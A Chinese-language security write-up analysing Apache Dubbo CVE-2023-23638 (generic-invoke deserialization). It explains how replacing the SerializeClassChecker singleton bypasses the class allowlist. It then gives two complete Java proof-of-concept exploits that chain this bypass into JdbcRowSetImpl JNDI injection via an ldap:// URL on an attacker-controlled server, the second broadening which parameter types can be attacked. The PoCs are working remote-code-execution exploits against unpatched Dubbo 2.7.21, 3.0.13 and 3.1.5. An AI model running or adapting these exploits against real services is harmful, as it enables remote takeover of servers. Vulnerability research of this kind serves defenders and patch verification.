Apache Dubbo CVE-2023-23638 分析

Apache Dubbo CVE-2023-23638 的另外一种利用方式

一些参考链接

https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb

https://github.com/apache/dubbo/commit/6e5c1f8665216ccda4b2eb8c0465882efe62dd61

https://github.com/apache/dubbo/commit/ce3b0e285a463b566a9d685049201bfaf526c8ac

https://github.com/apache/dubbo/commit/4f664f0a3d338673f4b554230345b89c580bccbb

对比下 commit 可以发现它增加了对 Seralizable 接口的检查, 在 >= 3.1.6 版本中这个选项默认是开启的, 也就是阻止了非 Serializable 接口实现类的序列化与反序列化

https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/advanced-features-and-usage/security/class-check/

然后参考 Apache mailist 的内容可以发现漏洞点是 Generic Invoke, 也就是泛化调用

https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/advanced-features-and-usage/service/generic-reference/

简单来说, 泛化调用可以使我们不依赖具体的接口 API, 就可以调用对应 Service 的某个方法

官方 samples 如下

https://github.com/apache/dubbo-samples/tree/master/2-advanced/dubbo-samples-generic

以 3.1.5 版本为例

HelloService.java

1
2
3
public interface HelloService {
    Object sayHello(Object name);
}

HelloServiceImpl.java

1
2
3
4
5
6
public class HelloServiceImpl implements HelloService {
    @Override
    public Object sayHello(Object name) {
        return name;
    }
}

DemoConsumer.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package org.apache.dubbo.samples;

import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;


public class DemoConsumer {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
        context.start();

        GenericService genericService = (GenericService) context.getBean("helloService");
        genericService.$invoke("sayHello", new String[]{"java.lang.Object"}, new Object[]{new HashMap<>()});
    }
}

DemoProvider.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package org.apache.dubbo.samples;

import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.util.concurrent.CountDownLatch;


public class DemoProvider {

    public static void main(String[] args) throws Exception {

        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-provider.xml");
        context.start();

        System.out.println("dubbo service started");
        new CountDownLatch(1).await();
    }
}

参考 commit 里面更改的内容, 关注 org.apache.dubbo.common.utils.PojoUtils#realize0 方法

如果 pojo 属于 Map 类型, 就会将其中 class 键对应的内容取出来作为 className, 先通过 SerializeClassChecker 的 validateClass 进行过滤, 然后传入 forName 方法加载类

getInstance 方法

然后注意对 INSTANCE 属性的定义

1
private static volatile SerializeClassChecker INSTANCE = null;

很经典的单例模式

validateClass 方法

首先验证白名单, 然后验证黑名单

CLASS_DESERIALIZE_ALLOWED_SETCLASS_DESERIALIZE_BLOCKED_SET 的内容对应在 dubbo jar 包的 security 目录下

回到 realize0 方法, 继续往下看

遍历 Map 中所有的 key, 并尝试获取与 key 对应的 setter 或 Field, 然后赋值

setter 赋值跟 fastjson 的反序列化很像, 所以很容易想出来一种常规的利用思路: 调用 JdbcRowSetImpl 的 setAutoCommit 方法造成 jndi 注入 (这里其实可以使用其它反序列化的 payload, 但为了方便后续分析就选用了 jndi 注入)

但是由于 SerializeClassChecker 会对 classname 进行检查, 默认的黑名单已经基本上把所有可以触发漏洞的类都给过滤了

不过在这里有一个很有意思的点: 在 Apache Dubbo 从 2.7.21, 3.0.13, 3.1.5 升级到 2.7.22, 3.0.14, 3.1.6 (已修复漏洞的版本) 的过程中, security 目录下的 serialize.allowlistserialize.blockedlist, 也就是白名单和黑名单, 没有任何变化

那么可以大致推断出来, 这个漏洞并不是由于新增的某条利用链所引起的, 否则 dubbo 就应该只会更新自己的黑白名单, 但是它却使用了一种更为彻底的过滤方法 (检测 class 是否实现 Serializable 接口)

所以这里的绕过思路需要更大胆一点

因为上面的过程会同时获取可能的 setter 和 Field, 然后赋值, 所以我们基本上可以控制任何类的任何属性 (即使它没有对应的 setter)

而且最关键的一点在于 SerializeClassChecker 并不在黑名单里面, 而它又是单例模式, 会通过 getInstance 方法返回 INSTANCE 属性对应的值, 即 SerializeClassChecker 的实例对象

所以我们可以通过上面的 Field 赋值机制, 将 SerializeClassChecker 的 INSTANCE 属性更改为我们自定义的 SerializeClassChecker, 然后在这个自定义的 checker 中, 将 JdbcRowSetImpl 加到白名单里面, 或者将黑名单置空, 或者将 OPEN_CHECK_CLASS 更改为 false, 从而绕过这个检查机制

poc 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.apache.dubbo.samples;

import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Set;

public class DemoConsumer {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
        context.start();

        Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        Unsafe unsafe = constructor.newInstance();

        Set<String> allowSet = new ConcurrentHashSet<>();
        allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());

        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
        f.setAccessible(true);
        f.set(serializeClassChecker, allowSet);

//        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
//        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
//        f.setAccessible(true);
//        f.set(serializeClassChecker, new ConcurrentHashSet<>());

        Map<Object, Object> map1 = new HashMap<>();
        map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        map1.put("INSTANCE", serializeClassChecker);

        Map<Object, Object> map2 = new LinkedHashMap<>();
        map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
        map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
        map2.put("autoCommit", true);

        Map<Object, Object> map3 = new LinkedHashMap<>();
        map3.put("1", map1);
        map3.put("2", map2);

        GenericService genericService = (GenericService) context.getBean("helloService");
        genericService.$invoke("sayHello", new String[]{"java.lang.Object"}, new Object[]{map3});
    }
}

这里面有一些注意点

  1. 为了避免在实例化 SerializeClassChecker 的时候调用构造函数自行加载黑白名单和设置 OPEN_CHECK_CLASS 属性, 需要使用 Unsafe 类以在无需调用构造函数的情况下进行实例化
  2. 在反序列化 JdbcRowSetImpl 类的过程中, setter 的调用必须保证先后顺序, 即先调用 setDataSourceName, 然后再调用 setAutoCommit, 所以需要使用 LinkedHashMap
  3. Hessian 序列化时会在本地检查对应类是否实现了 Serializable 接口, 在 dubbo consumer 中可以设置 -Ddubbo.hessian.allowNonSerializable=true 参数以禁用检查
  4. 在修改白名单的时候注意把 classname 全部转成小写

测试在 Apache Dubbo 2.7.21, 3.0.13, 3.1.5 三个版本中都能够弹出计算器

后来发现一个问题, 就是在调用 sayHello 方法时, 参数的类型必须是 java.lang.Object, 否则会出现无法利用的情况 (利用面有点窄)

经过测试发现问题出现在下面的地方

当参数为 java.lang.String 或其它类型时, 无法进入 if 语句, 也就无法对 HashMap 中的 value 调用 realize0 方法

解决方法是使用 Collection

当 pojo 属于 Collection 类或其子类的时候, 无论 type 的具体内容是什么, 最终都会遍历 Collection 并对里面的值调用 realize0 方法

所以利用 Collection 的子类构造 poc 可以将利用面从参数为 java.lang.Object 类型扩大为参数为 java.lang.Object, java.lang.String, java.lang.Integer 等其它非基本类型

最终 poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.apache.dubbo.samples;

import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class DemoConsumer {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
        context.start();

        Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        Unsafe unsafe = constructor.newInstance();

        Set<String> allowSet = new ConcurrentHashSet<>();
        allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());

        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
        f.setAccessible(true);
        f.set(serializeClassChecker, allowSet);

//        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
//        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
//        f.setAccessible(true);
//        f.set(serializeClassChecker, new ConcurrentHashSet<>());

        Map<Object, Object> map1 = new HashMap<>();
        map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        map1.put("INSTANCE", serializeClassChecker);

        Map<Object, Object> map2 = new LinkedHashMap<>();
        map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
        map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
        map2.put("autoCommit", true);

        List list = new LinkedList();
        list.add(map1);
        list.add(map2);

        GenericService genericService = (GenericService) context.getBean("helloService");
        genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list});
    }
}

相关源代码: https://github.com/X1r0z/CVE-2023-23638

0%